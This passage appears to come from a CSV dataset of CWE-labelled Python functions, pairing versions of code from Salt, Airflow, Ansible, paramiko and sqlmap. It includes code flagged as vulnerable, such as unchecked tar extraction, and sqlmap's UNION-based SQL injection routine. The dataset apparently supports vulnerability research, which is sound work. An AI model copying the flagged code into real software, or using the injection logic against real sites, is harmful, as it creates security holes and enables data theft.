                return file_result
    else:
        log.debug('Archive %s is already in cache', source_match)

    if source_hash:
        _update_checksum(cached_source, source_sum)

    if archive_format == 'zip' and not password:
        log.debug('Checking %s to see if it is password-protected',
                  source_match)
        # Either use_cmd_unzip was explicitly set to True, or was
        # implicitly enabled by setting the ""options"" argument.
        try:
            encrypted_zip = __salt__['archive.is_encrypted'](
                cached_source,
                clean=False,
                saltenv=__env__)
        except CommandExecutionError:
            # This would happen if archive_format=zip and the source archive is
            # not actually a zip file.
            pass
        else:
            if encrypted_zip:
                ret['comment'] = (
                    'Archive {0} is password-protected, but no password was '
                    'specified. Please set the \'password\' argument.'.format(
                        source_match
                    )
                )
                return ret

    try:
        contents = __salt__['archive.list'](cached_source,
                                            archive_format=archive_format,
                                            options=list_options,
                                            strip_components=strip_components,
                                            clean=False,
                                            verbose=True)
    except CommandExecutionError as exc:
        contents = None
        errors = []
        if not if_missing:
            errors.append('\'if_missing\' must be set')
        if not enforce_ownership_on and (user or group):
            errors.append(
                'Ownership cannot be managed without setting '
                '\'enforce_ownership_on\'.'
            )
        msg = exc.strerror
        if errors:
            msg += '\n\n'
            if archive_format == 'tar':
                msg += (
                    'If the source archive is a tar archive compressed using '
                    'a compression type not natively supported by the tar '
                    'command, then setting the \'list_options\' argument may '
                    'allow the contents to be listed. Otherwise, if Salt is '
                    'unable to determine the files/directories in the '
                    'archive, the following workaround(s) would need to be '
                    'used for this state to proceed'
                )
            else:
                msg += (
                    'The following workarounds must be used for this state to '
                    'proceed'
                )
            msg += (
                ' (assuming the source file is a valid {0} archive):\n'
                .format(archive_format)
            )

            for error in errors:
                msg += '\n- {0}'.format(error)
        ret['comment'] = msg
        return ret

    if enforce_toplevel and contents is not None \
            and (len(contents['top_level_dirs']) > 1
                 or len(contents['top_level_files']) > 0):
        ret['comment'] = ('Archive does not have a single top-level directory. '
                          'To allow this archive to be extracted, set '
                          '\'enforce_toplevel\' to False. To avoid a '
                          '\'{0}-bomb\' it may also be advisable to set a '
                          'top-level directory by adding it to the \'name\' '
                          'value (for example, setting \'name\' to {1} '
                          'instead of {2}).'.format(
                              archive_format,
                              os.path.join(name, 'some_dir'),
                              name,
                          ))
        return ret

    # Check to see if we need to extract the archive. Using os.lstat() in a
    # try/except is considerably faster than using os.path.exists(), and we
    # already need to catch an OSError to cover edge cases where the minion is
    # running as a non-privileged user and is trying to check for the existence
    # of a path to which it does not have permission.
    extraction_needed = overwrite

    try:
        if_missing_path_exists = os.path.exists(if_missing)
    except TypeError:
        if_missing_path_exists = False

    if not if_missing_path_exists:
        if contents is None:
            try:
                os.lstat(if_missing)
                extraction_needed = False
            except OSError as exc:
                if exc.errno == errno.ENOENT:
                    extraction_needed = True
                else:
                    ret['comment'] = (
                        'Failed to check for existence of if_missing path '
                        '({0}): {1}'.format(if_missing, exc.__str__())
                    )
                    return ret
        else:
            incorrect_type = []
            for path_list, func in \
                    ((contents['dirs'], stat.S_ISDIR),
                     (contents['files'], lambda x: not stat.S_ISLNK(x)
                                         and not stat.S_ISDIR(x)),
                     (contents['links'], stat.S_ISLNK)):
                for path in path_list:
                    full_path = os.path.join(name, path)
                    try:
                        path_mode = os.lstat(full_path.rstrip(os.sep)).st_mode
                        if not func(path_mode):
                            incorrect_type.append(path)
                    except OSError as exc:
                        if exc.errno == errno.ENOENT:
                            extraction_needed = True
                        elif exc.errno != errno.ENOTDIR:
                            # In cases where a directory path was occupied by a
                            # file instead, all os.lstat() calls to files within
                            # that dir will raise an ENOTDIR OSError. So we
                            # expect these and will only abort here if the
                            # error code is something else.
                            ret['comment'] = exc.__str__()
                            return ret

            if incorrect_type:
                incorrect_paths = '\n\n' + '\n'.join(
                    ['- {0}'.format(x) for x in incorrect_type]
                )
                ret['comment'] = (
                    'The below paths (relative to {0}) exist, but are the '
                    'incorrect type (file instead of directory, symlink '
                    'instead of file, etc.).'.format(name)
                )
                if __opts__['test'] and clean and contents is not None:
                    ret['result'] = None
                    ret['comment'] += (
                        ' Since the \'clean\' option is enabled, the '
                        'destination paths would be cleared and the '
                        'archive would be extracted.{0}'.format(
                            incorrect_paths
                        )
                    )
                    return ret

                # Skip notices of incorrect types if we're cleaning
                if not (clean and contents is not None):
                    if not force:
                        ret['comment'] += (
                            ' To proceed with extraction, set \'force\' to '
                            'True. Note that this will remove these paths '
                            'before extracting.{0}'.format(incorrect_paths)
                        )
                        return ret
                    else:
                        errors = []
                        for path in incorrect_type:
                            full_path = os.path.join(name, path)
                            try:
                                salt.utils.rm_rf(full_path.rstrip(os.sep))
                                ret['changes'].setdefault(
                                    'removed', []).append(full_path)
                                extraction_needed = True
                            except OSError as exc:
                                if exc.errno != errno.ENOENT:
                                    errors.append(exc.__str__())
                        if errors:
                            msg = (
                                'One or more paths existed by were the incorrect '
                                'type (i.e. file instead of directory or '
                                'vice-versa), but could not be removed. The '
                                'following errors were observed:\n'
                            )
                            for error in errors:
                                msg += '\n- {0}'.format(error)
                            ret['comment'] = msg
                            return ret

    created_destdir = False

    if extraction_needed:
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would be extracted to {1}'.format(
                    source_match,
                    name
                )
            if clean and contents is not None:
                ret['comment'] += ', after cleaning destination path(s)'
            return ret

        if clean and contents is not None:
            errors = []
            log.debug('Cleaning archive paths from within %s', name)
            for path in contents['top_level_dirs'] + contents['top_level_files']:
                full_path = os.path.join(name, path)
                try:
                    log.debug('Removing %s', full_path)
                    salt.utils.rm_rf(full_path.rstrip(os.sep))
                    ret['changes'].setdefault(
                        'removed', []).append(full_path)
                except OSError as exc:
                    if exc.errno != errno.ENOENT:
                        errors.append(exc.__str__())

            if errors:
                msg = (
                    'One or more paths could not be cleaned. The following '
                    'errors were observed:\n'
                )
                for error in errors:
                    msg += '\n- {0}'.format(error)
                ret['comment'] = msg
                return ret

        if not os.path.isdir(name):
            __salt__['file.makedirs'](name, user=user)
            created_destdir = True

        log.debug('Extracting {0} to {1}'.format(cached_source, name))
        try:
            if archive_format == 'zip':
                if use_cmd_unzip:
                    try:
                        files = __salt__['archive.cmd_unzip'](
                            cached_source,
                            name,
                            options=options,
                            trim_output=trim_output,
                            password=password,
                            **kwargs)
                    except (CommandExecutionError, CommandNotFoundError) as exc:
                        ret['comment'] = exc.strerror
                        return ret
                else:
                    files = __salt__['archive.unzip'](cached_source,
                                                      name,
                                                      options=options,
                                                      trim_output=trim_output,
                                                      password=password,
                                                      **kwargs)
            elif archive_format == 'rar':
                try:
                    files = __salt__['archive.unrar'](cached_source,
                                                      name,
                                                      trim_output=trim_output,
                                                      **kwargs)
                except (CommandExecutionError, CommandNotFoundError) as exc:
                    ret['comment'] = exc.strerror
                    return ret
            else:
                if options is None:
                    try:
                        with closing(tarfile.open(cached_source, 'r')) as tar:
                            tar.extractall(name)
                            files = tar.getnames()
                    except tarfile.ReadError:
                        if salt.utils.which('xz'):
                            if __salt__['cmd.retcode'](
                                    ['xz', '-l', cached_source],
                                    python_shell=False,
                                    ignore_retcode=True) == 0:
                                # XZ-compressed data
                                log.debug(
                                    'Tar file is XZ-compressed, attempting '
                                    'decompression and extraction using XZ Utils '
                                    'and the tar command'
                                )
                                # Must use python_shell=True here because not
                                # all tar implementations support the -J flag
                                # for decompressing XZ-compressed data. We need
                                # to dump the decompressed data to stdout and
                                # pipe it to tar for extraction.
                                cmd = 'xz --decompress --stdout {0} | tar xvf -'
                                results = __salt__['cmd.run_all'](
                                    cmd.format(_cmd_quote(cached_source)),
                                    cwd=name,
                                    python_shell=True)
                                if results['retcode'] != 0:
                                    if created_destdir:
                                        _cleanup_destdir(name)
                                    ret['result'] = False
                                    ret['changes'] = results
                                    return ret
                                if _is_bsdtar():
                                    files = results['stderr']
                                else:
                                    files = results['stdout']
                            else:
                                # Failed to open tar archive and it is not
                                # XZ-compressed, gracefully fail the state
                                if created_destdir:
                                    _cleanup_destdir(name)
                                ret['result'] = False
                                ret['comment'] = (
                                    'Failed to read from tar archive using '
                                    'Python\'s native tar file support. If '
                                    'archive is compressed using something '
                                    'other than gzip or bzip2, the '
                                    '\'options\' argument may be required to '
                                    'pass the correct options to the tar '
                                    'command in order to extract the archive.'
                                )
                                return ret
                        else:
                            if created_destdir:
                                _cleanup_destdir(name)
                            ret['result'] = False
                            ret['comment'] = (
                                'Failed to read from tar archive. If it is '
                                'XZ-compressed, install xz-utils to attempt '
                                'extraction.'
                            )
                            return ret
                else:
                    if not salt.utils.which('tar'):
                        ret['comment'] = (
                            'tar command not available, it might not be '
                            'installed on minion'
                        )
                        return ret

                    tar_opts = shlex.split(options)

                    tar_cmd = ['tar']
                    tar_shortopts = 'x'
                    tar_longopts = []

                    for position, opt in enumerate(tar_opts):
                        if opt.startswith('-'):
                            tar_longopts.append(opt)
                        else:
                            if position > 0:
                                tar_longopts.append(opt)
                            else:
                                append_opt = opt
                                append_opt = append_opt.replace('x', '')
                                append_opt = append_opt.replace('f', '')
                                tar_shortopts = tar_shortopts + append_opt

                    if __grains__['os'].lower() == 'openbsd':
                        tar_shortopts = '-' + tar_shortopts

                    tar_cmd.append(tar_shortopts)
                    tar_cmd.extend(tar_longopts)
                    tar_cmd.extend(['-f', cached_source])

                    results = __salt__['cmd.run_all'](tar_cmd,
                                                      cwd=name,
                                                      python_shell=False)
                    if results['retcode'] != 0:
                        ret['result'] = False
                        ret['changes'] = results
                        return ret
                    if _is_bsdtar():
                        files = results['stderr']
                    else:
                        files = results['stdout']
                    if not files:
                        files = 'no tar output so far'
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret

    # Recursively set user and group ownership of files
    enforce_missing = []
    enforce_failed = []
    if user or group:
        if enforce_ownership_on:
            if os.path.isdir(enforce_ownership_on):
                enforce_dirs = [enforce_ownership_on]
                enforce_files = []
                enforce_links = []
            else:
                enforce_dirs = []
                enforce_files = [enforce_ownership_on]
                enforce_links = []
        else:
            if contents is not None:
                enforce_dirs = contents['top_level_dirs']
                enforce_files = contents['top_level_files']
                enforce_links = contents['top_level_links']

        recurse = []
        if user:
            recurse.append('user')
        if group:
            recurse.append('group')
        recurse_str = ', '.join(recurse)

        owner_changes = dict([
            (x, y) for x, y in (('user', user), ('group', group)) if y
        ])
        for dirname in enforce_dirs:
            full_path = os.path.join(name, dirname)
            if not os.path.isdir(full_path):
                if not __opts__['test']:
                    enforce_missing.append(full_path)
            else:
                log.debug(
                    'Enforcing %s ownership on %s using a file.directory state%s',
                    recurse_str,
                    dirname,
                    ' (dry-run only)' if __opts__['test'] else ''
                )
                dir_result = __states__['file.directory'](full_path,
                                                          user=user,
                                                          group=group,
                                                          recurse=recurse,
                                                          test=__opts__['test'])
                try:
                    dir_result = dir_result[next(iter(dir_result))]
                except AttributeError:
                    pass
                log.debug('file.directory: %s', dir_result)

                if __opts__['test']:
                    if dir_result.get('pchanges'):
                        ret['changes']['updated ownership'] = True
                else:
                    try:
                        if dir_result['result']:
                            if dir_result['changes']:
                                ret['changes']['updated ownership'] = True
                        else:
                            enforce_failed.append(full_path)
                    except (KeyError, TypeError):
                        log.warning(
                            'Bad state return %s for file.directory state on %s',
                            dir_result, dirname
                        )

        for filename in enforce_files + enforce_links:
            full_path = os.path.join(name, filename)
            try:
                # Using os.lstat instead of calling out to
                # __salt__['file.stats'], since we may be doing this for a lot
                # of files, and simply calling os.lstat directly will speed
                # things up a bit.
                file_stat = os.lstat(full_path)
            except OSError as exc:
                if not __opts__['test']:
                    if exc.errno == errno.ENOENT:
                        enforce_missing.append(full_path)
                    enforce_failed.append(full_path)
            else:
                # Earlier we set uid, gid to -1 if we're not enforcing
                # ownership on user, group, as passing -1 to os.chown will tell
                # it not to change that ownership. Since we've done that, we
                # can selectively compare the uid/gid from the values in
                # file_stat, _only if_ the ""desired"" uid/gid is something other
                # than -1.
                if (uid != -1 and uid != file_stat.st_uid) \
                        or (gid != -1 and gid != file_stat.st_gid):
                    if __opts__['test']:
                        ret['changes']['updated ownership'] = True
                    else:
                        try:
                            os.lchown(full_path, uid, gid)
                            ret['changes']['updated ownership'] = True
                        except OSError:
                            enforce_failed.append(filename)

    if extraction_needed:
        if len(files) > 0:
            if created_destdir:
                ret['changes']['directories_created'] = [name]
            ret['changes']['extracted_files'] = files
            ret['comment'] = '{0} extracted to {1}'.format(source_match, name)
            if not source_is_local and not keep:
                log.debug('Cleaning cached source file %s', cached_source)
                try:
                    os.remove(cached_source)
                except OSError as exc:
                    if exc.errno != errno.ENOENT:
                        log.error(
                            'Failed to clean cached source file %s: %s',
                            cached_source, exc.__str__()
                        )
            ret['result'] = True

        else:
            ret['result'] = False
            ret['comment'] = 'Can\'t extract content of {0}'.format(source_match)
    else:
        ret['result'] = True
        if if_missing_path_exists:
            ret['comment'] = '{0} exists'.format(if_missing)
        else:
            ret['comment'] = 'All files in archive are already present'
        if __opts__['test']:
            if ret['changes'].get('updated ownership'):
                ret['result'] = None
                ret['comment'] += (
                    '. Ownership would be updated on one or more '
                    'files/directories.'
                )

    if enforce_missing:
        if not if_missing:
            # If is_missing was used, and both a) the archive had never been
            # extracted, and b) the path referred to by if_missing exists, then
            # enforce_missing would contain paths of top_levle dirs/files that
            # _would_ have been extracted. Since if_missing can be used as a
            # semaphore to conditionally extract, we don't want to make this a
            # case where the state fails, so we only fail the state if
            # is_missing is not used.
            ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, the following '
            'paths were missing:\n'
        )
        for item in enforce_missing:
            ret['comment'] += '\n- {0}'.format(item)

    if enforce_failed:
        ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, Salt was '
            'unable to change ownership on the following paths:\n'
        )
        for item in enforce_failed:
            ret['comment'] += '\n- {0}'.format(item)

    return ret"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/file.py,0,"def touch(name, atime=None, mtime=None):
    '''
    Just like 'nix's ""touch"" command, create a file if it
    doesn't exist or simply update the atime and mtime if
    it already does.

    atime:
        Access time in Unix epoch time
    mtime:
        Last modification in Unix epoch time

    CLI Example::

        salt '*' file.touch /var/log/emptyfile

    .. versionadded:: 0.9.5
    '''
    if atime and atime.isdigit():
        atime = int(atime)
    if mtime and mtime.isdigit():
        mtime = int(mtime)
    try:
        if not os.path.exists(name):
            open(name, 'a')

        if not atime and not mtime:
            times = None
        elif not mtime and atime:
            times = (atime, time.time())
        elif not atime and mtime:
            times = (time.time(), mtime)
        else:
            times = (atime, mtime)
        os.utime(name, times)

    except TypeError as exc:
        raise SaltInvocationError('atime and mtime must be integers')
    except (IOError, OSError) as exc:
        raise CommandExecutionError(exc.strerror)

    return os.path.exists(name)",,saltstack/salt,2355dc3dd4a69f904d064dcca4db416f9013e87b,"def touch(name, atime=None, mtime=None):
    '''
    Just like 'nix's ""touch"" command, create a file if it
    doesn't exist or simply update the atime and mtime if
    it already does.

    atime:
        Access time in Unix epoch time
    mtime:
        Last modification in Unix epoch time

    CLI Example::

        salt '*' file.touch /var/log/emptyfile

    .. versionadded:: 0.9.5
    '''
    if atime and atime.isdigit():
        atime = int(atime)
    if mtime and mtime.isdigit():
        mtime = int(mtime)
    try:
        with open(name, 'a'):
            if not atime and not mtime:
                times = None
            elif not mtime and atime:
                times = (atime, time.time())
            elif not atime and mtime:
                times = (time.time(), mtime)
            else:
                times = (atime, mtime)
            os.utime(name, times)
    except TypeError as exc:
        msg = 'atime and mtime must be integers'
        raise SaltInvocationError(msg)
    except (IOError, OSError) as exc:
        return False

    return os.path.exists(name)"
,UNKNOWN,UNKNOWN,tests/providers/openlineage/utils/test_utils.py,1,"def test_get_airflow_dag_run_facet():
    with DAG(
        dag_id=""dag"",
        schedule=""@once"",
        start_date=datetime.datetime(2024, 6, 1),
        tags=[""test""],
    ) as dag:
        task_0 = BashOperator(task_id=""task_0"", bash_command=""exit 0;"")

        with TaskGroup(""section_1"", prefix_group_id=True):
            task_10 = PythonOperator(task_id=""task_3"", python_callable=lambda: 1)

        task_0 >> task_10

    dagrun_mock = MagicMock(DagRun)
    dagrun_mock.dag = dag
    dagrun_mock.conf = {}
    dagrun_mock.dag_id = dag.dag_id
    dagrun_mock.data_interval_start = datetime.datetime(2024, 6, 1, 1, 2, 3, tzinfo=datetime.timezone.utc)
    dagrun_mock.data_interval_end = datetime.datetime(2024, 6, 1, 2, 3, 4, tzinfo=datetime.timezone.utc)
    dagrun_mock.external_trigger = True
    dagrun_mock.run_id = ""manual_2024-06-01T00:00:00+00:00""
    dagrun_mock.run_type = DagRunType.MANUAL
    dagrun_mock.start_date = datetime.datetime(2024, 6, 1, 1, 2, 4, tzinfo=datetime.timezone.utc)

    result = get_airflow_dag_run_facet(dagrun_mock)

    expected_dag_info = {
        ""dag_id"": ""dag"",
        ""description"": None,
        ""fileloc"": pathlib.Path(__file__).resolve().as_posix(),
        ""owner"": ""airflow"",
        ""timetable"": {},
        ""start_date"": ""2024-06-01T00:00:00+00:00"",
        ""tags"": ""['test']"",
    }
    if hasattr(dag, ""schedule_interval""):  # Airflow 2 compat.
        expected_dag_info[""schedule_interval""] = ""@once""
    else:  # Airflow 3 and up.
        expected_dag_info[""timetable_summary""] = ""@once""
    assert result == {
        ""airflowDagRun"": AirflowDagRunFacet(
            dag=expected_dag_info,
            dagRun={
                ""conf"": {},
                ""dag_id"": ""dag"",
                ""data_interval_start"": ""2024-06-01T01:02:03+00:00"",
                ""data_interval_end"": ""2024-06-01T02:03:04+00:00"",
                ""external_trigger"": True,
                ""run_id"": ""manual_2024-06-01T00:00:00+00:00"",
                ""run_type"": ""manual"",
                ""start_date"": ""2024-06-01T01:02:04+00:00"",
            },
        )
    }",CWE-703,apache/airflow,00db98b5fea9c6341972d07b9644ac7e563789c1,"def test_get_airflow_dag_run_facet():
    with DAG(
        dag_id=""dag"",
        schedule=""@once"",
        start_date=datetime.datetime(2024, 6, 1),
        tags=[""test""],
    ) as dag:
        task_0 = BashOperator(task_id=""task_0"", bash_command=""exit 0;"")

        with TaskGroup(""section_1"", prefix_group_id=True):
            task_10 = PythonOperator(task_id=""task_3"", python_callable=lambda: 1)

        task_0 >> task_10

    dagrun_mock = MagicMock(DagRun)
    dagrun_mock.dag = dag
    dagrun_mock.conf = {}
    dagrun_mock.dag_id = dag.dag_id
    dagrun_mock.data_interval_start = datetime.datetime(2024, 6, 1, 1, 2, 3, tzinfo=datetime.timezone.utc)
    dagrun_mock.data_interval_end = datetime.datetime(2024, 6, 1, 2, 3, 4, tzinfo=datetime.timezone.utc)
    dagrun_mock.external_trigger = True
    dagrun_mock.run_id = ""manual_2024-06-01T00:00:00+00:00""
    dagrun_mock.run_type = DagRunType.MANUAL
    dagrun_mock.start_date = datetime.datetime(2024, 6, 1, 1, 2, 4, tzinfo=datetime.timezone.utc)

    result = get_airflow_dag_run_facet(dagrun_mock)

    expected_dag_info = {
        ""dag_id"": ""dag"",
        ""description"": None,
        ""fileloc"": pathlib.Path(__file__).resolve().as_posix(),
        ""owner"": ""airflow"",
        ""timetable"": {},
        ""start_date"": ""2024-06-01T00:00:00+00:00"",
        ""tags"": [""test""],
    }
    if hasattr(dag, ""schedule_interval""):  # Airflow 2 compat.
        expected_dag_info[""schedule_interval""] = ""@once""
    else:  # Airflow 3 and up.
        expected_dag_info[""timetable_summary""] = ""@once""
    assert result == {
        ""airflowDagRun"": AirflowDagRunFacet(
            dag=expected_dag_info,
            dagRun={
                ""conf"": {},
                ""dag_id"": ""dag"",
                ""data_interval_start"": ""2024-06-01T01:02:03+00:00"",
                ""data_interval_end"": ""2024-06-01T02:03:04+00:00"",
                ""external_trigger"": True,
                ""run_id"": ""manual_2024-06-01T00:00:00+00:00"",
                ""run_type"": ""manual"",
                ""start_date"": ""2024-06-01T01:02:04+00:00"",
            },
        )
    }"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/inventory/manager.py,0,"def get_hosts(self, pattern=""all"", ignore_limits=False, ignore_restrictions=False, order=None):
        """"""
        Takes a pattern or list of patterns and returns a list of matching
        inventory host names, taking into account any active restrictions
        or applied subsets
        """"""

        hosts = []

        # Check if pattern already computed
        if isinstance(pattern, list):
            pattern_hash = u"":"".join(pattern)
        else:
            pattern_hash = pattern

        if pattern_hash:
            if not ignore_limits and self._subset:
                pattern_hash += u"":%s"" % to_text(self._subset, errors='surrogate_or_strict')

            if not ignore_restrictions and self._restriction:
                pattern_hash += u"":%s"" % to_text(self._restriction, errors='surrogate_or_strict')

            if pattern_hash not in self._hosts_patterns_cache:

                patterns = split_host_pattern(pattern)
                hosts = self._evaluate_patterns(patterns)

                # mainly useful for hostvars[host] access
                if not ignore_limits and self._subset:
                    # exclude hosts not in a subset, if defined
                    subset = self._evaluate_patterns(self._subset)
                    hosts = [h for h in hosts if h in subset]

                if not ignore_restrictions and self._restriction:
                    # exclude hosts mentioned in any restriction (ex: failed hosts)
                    hosts = [h for h in hosts if h.name in self._restriction]

                seen = set()
                self._hosts_patterns_cache[pattern_hash] = [x for x in hosts if x not in seen and not seen.add(x)]

            # sort hosts list if needed (should only happen when called from strategy)
            if order in ['sorted', 'reverse_sorted']:
                from operator import attrgetter
                hosts = sorted(self._hosts_patterns_cache[pattern_hash][:], key=attrgetter('name'), reverse=(order == 'reverse_sorted'))
            elif order == 'reverse_inventory':
                hosts = sorted(self._hosts_patterns_cache[pattern_hash][:], reverse=True)
            else:
                hosts = self._hosts_patterns_cache[pattern_hash][:]
                if order == 'shuffle':
                    from random import shuffle
                    shuffle(hosts)
                elif order not in [None, 'inventory']:
                    AnsibleOptionsError(""Invalid 'order' specified for inventory hosts: %s"" % order)

        return hosts",,ansible/ansible,b595c6254f86ba48ec6b1006cbd263b64a3e9c57,"def get_hosts(self, pattern=""all"", ignore_limits=False, ignore_restrictions=False, order=None):
        """"""
        Takes a pattern or list of patterns and returns a list of matching
        inventory host names, taking into account any active restrictions
        or applied subsets
        """"""

        # Check if pattern already computed
        if isinstance(pattern, list):
            pattern_hash = u"":"".join(pattern)
        else:
            pattern_hash = pattern

        if not ignore_limits and self._subset:
            pattern_hash += "":%s"" % to_native(self._subset)

        if not ignore_restrictions and self._restriction:
            pattern_hash += "":%s"" % to_native(self._restriction)

        if pattern_hash not in self._hosts_patterns_cache:

            patterns = split_host_pattern(pattern)
            hosts = self._evaluate_patterns(patterns)

            # mainly useful for hostvars[host] access
            if not ignore_limits and self._subset:
                # exclude hosts not in a subset, if defined
                subset = self._evaluate_patterns(self._subset)
                hosts = [h for h in hosts if h in subset]

            if not ignore_restrictions and self._restriction:
                # exclude hosts mentioned in any restriction (ex: failed hosts)
                hosts = [h for h in hosts if h.name in self._restriction]

            seen = set()
            self._hosts_patterns_cache[pattern_hash] = [x for x in hosts if x not in seen and not seen.add(x)]

        # sort hosts list if needed (should only happen when called from strategy)
        if order in ['sorted', 'reverse_sorted']:
            from operator import attrgetter
            hosts = sorted(self._hosts_patterns_cache[pattern_hash][:], key=attrgetter('name'), reverse=(order == 'reverse_sorted'))
        elif order == 'reverse_inventory':
            hosts = sorted(self._hosts_patterns_cache[pattern_hash][:], reverse=True)
        else:
            hosts = self._hosts_patterns_cache[pattern_hash][:]
            if order == 'shuffle':
                from random import shuffle
                shuffle(hosts)
            elif order not in [None, 'inventory']:
                AnsibleOptionsError(""Invalid 'order' specified for inventory hosts: %s"" % order)

        return hosts"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_transport.py,0,"def test_server_transports_reject_client_message_types(self):
        # TODO: handle Transport's own tables too, not just its inner auth
        # handler's table. See TODOs in auth_handler.py
        some_handler = AuthHandler(self.tc)  # kludge to get _some_ AH instance
        for message_type in some_handler._client_handler_table:
            self._send_client_message(message_type)
            self._expect_unimplemented()
            # Reset for rest of loop
            self.tearDown()
            self.setUp()",,paramiko/paramiko,7700c7e033652ed98c0c385b0da936f12b35aabf,"def test_server_transports_reject_client_message_types(self):
        # TODO: handle Transport's own tables too, not just its inner auth
        # handler's table. See TODOs in auth_handler.py
        for message_type in AuthHandler._client_handler_table:
            self._send_client_message(message_type)
            self._expect_unimplemented()
            # Reset for rest of loop
            self.tearDown()
            self.setUp()"
,UNKNOWN,UNKNOWN,lib/techniques/union/use.py,1,"def _oneShotUnionUse(expression, unpack=True, limited=False):
    retVal = hashDBRetrieve(""%s%s"" % (conf.hexConvert or False, expression), checkConf=True)  # as UNION data is stored raw unconverted

    threadData = getCurrentThreadData()
    threadData.resumed = retVal is not None

    if retVal is None:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector

        if not kb.jsonAggMode:
            injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
            kb.unionDuplicates = vector[7]
            kb.forcePartialUnion = vector[8]

            # Note: introduced columns in 1.4.2.42#dev
            try:
                kb.tableFrom = vector[9]
                kb.unionTemplate = vector[10]
            except IndexError:
                pass

            query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
            where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
        else:
            injExpression = unescaper.escape(expression)
            where = vector[6]
            query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)

        payload = agent.payload(newValue=query, where=where)

        # Perform the request
        page, headers, _ = Request.queryPage(payload, content=True, raise404=False)

        if page and kb.chars.start.upper() in page and kb.chars.start not in page:
            singleTimeWarnMessage(""results seems to be upper-cased by force. sqlmap will automatically lower-case them"")

            page = page.lower()

        incrementCounter(PAYLOAD.TECHNIQUE.UNION)

        if kb.jsonAggMode:
            for _page in (page or """", (page or """").replace('\\""', '""')):
                if Backend.isDbms(DBMS.MSSQL):
                    output = extractRegexResult(r""%s(?P<result>.*)%s"" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
                    if output:
                        try:
                            retVal = """"
                            fields = re.findall(r'""([^""]+)"":', extractRegexResult(r""{(?P<result>[^}]+)}"", output))
                            for row in json.loads(output):
                                retVal += ""%s%s%s"" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row[field] or NULL) for field in fields), kb.chars.stop)
                        except:
                            pass
                        else:
                            retVal = getUnicode(retVal)
                elif Backend.isDbms(DBMS.PGSQL):
                    output = extractRegexResult(r""(?P<result>%s.*%s)"" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
                    if output:
                        retVal = output
                else:
                    output = extractRegexResult(r""%s(?P<result>.*?)%s"" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
                    if output:
                        try:
                            retVal = """"
                            for row in json.loads(output):
                                retVal += ""%s%s%s"" % (kb.chars.start, row, kb.chars.stop)
                        except:
                            pass
                        else:
                            retVal = getUnicode(retVal)

                if retVal:
                    break
        else:
            # Parse the returned page to get the exact UNION-based
            # SQL injection output
            def _(regex):
                return firstNotNone(
                    extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE),
                    extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)
                )

            # Automatically patching last char trimming cases
            if kb.chars.stop not in (page or """") and kb.chars.stop[:-1] in (page or """"):
                warnMsg = ""automatically patching output having last char trimmed""
                singleTimeWarnMessage(warnMsg)
                page = page.replace(kb.chars.stop[:-1], kb.chars.stop)

            retVal = _(""(?P<result>%s.*%s)"" % (kb.chars.start, kb.chars.stop))

        if retVal is not None:
            retVal = getUnicode(retVal, kb.pageEncoding)

            # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
            if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
                retVal = htmlUnescape(retVal).replace(""<br>"", ""\n"")

            hashDBWrite(""%s%s"" % (conf.hexConvert or False, expression), retVal)

        elif not kb.jsonAggMode:
            trimmed = _(""%s(?P<result>.*?)<"" % (kb.chars.start))

            if trimmed:
                warnMsg = ""possible server trimmed output detected ""
                warnMsg += ""(probably due to its length and/or content): ""
                warnMsg += safecharencode(trimmed)
                logger.warn(warnMsg)

            elif re.search(r""ORDER BY [^ ]+\Z"", expression):
                debugMsg = ""retrying failed SQL query without the ORDER BY clause""
                singleTimeDebugMessage(debugMsg)

                expression = re.sub(r""\s*ORDER BY [^ ]+\Z"", """", expression)
                retVal = _oneShotUnionUse(expression, unpack, limited)

            elif kb.nchar and re.search(r"" AS N(CHAR|VARCHAR)"", agent.nullAndCastField(expression)):
                debugMsg = ""turning off NATIONAL CHARACTER casting""  # NOTE: in some cases there are ""known"" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1)
                singleTimeDebugMessage(debugMsg)

                kb.nchar = False
                retVal = _oneShotUnionUse(expression, unpack, limited)
    else:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
        kb.unionDuplicates = vector[7]

    return retVal",CWE-703,sqlmapproject/sqlmap,f0194a88140ec8055fe9dcaa1f68bc18be5610f9,"def _oneShotUnionUse(expression, unpack=True, limited=False):
    retVal = hashDBRetrieve(""%s%s"" % (conf.hexConvert or False, expression), checkConf=True)  # as UNION data is stored raw unconverted

    threadData = getCurrentThreadData()
    threadData.resumed = retVal is not None

    if retVal is None:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector

        if not kb.jsonAggMode:
            injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
            kb.unionDuplicates = vector[7]
            kb.forcePartialUnion = vector[8]

            # Note: introduced columns in 1.4.2.42#dev
            try:
                kb.tableFrom = vector[9]
                kb.unionTemplate = vector[10]
            except IndexError:
                pass

